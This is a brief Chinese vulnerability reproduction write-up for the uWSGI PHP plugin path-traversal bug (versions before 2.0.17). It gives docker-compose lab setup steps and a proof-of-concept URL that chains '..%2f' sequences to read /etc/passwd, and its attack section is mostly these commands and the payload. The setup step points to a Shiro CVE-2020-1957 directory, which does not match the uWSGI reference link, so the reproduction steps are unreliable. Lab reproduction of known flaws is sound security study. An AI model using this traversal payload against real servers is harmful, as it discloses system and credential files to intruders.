一、漏洞描述
uWSGI 是一款 Web 应用程序服务器,它实现了 WSGI、uwsgi 和 http 等协议,并支持通过插件来运行各种语言。
uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过..%2f
来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件。
二、漏洞影响
uWSGI < 2.0.17
三、漏洞复现
1、环境搭建
执行如下命令运行存在漏洞的uWSGI服务器:
cd vulhub/shiro/CVE-2020-1957
docker-compose up -d
运行完成后,访问http://x.x.x.x:8080/
即可看到phpinfo
信息,说明 uWSGI-PHP 服务器已成功运行:
2、漏洞复现
访问http://x.x.x.x:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd
,成功读取文件:
四、漏洞POC
访问http://x.x.x.x:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd
,成功读取文件。
五、参考链接
https://github.com/vulhub/vulhub/blob/master/uwsgi/CVE-2018-7490/README.zh-cn.md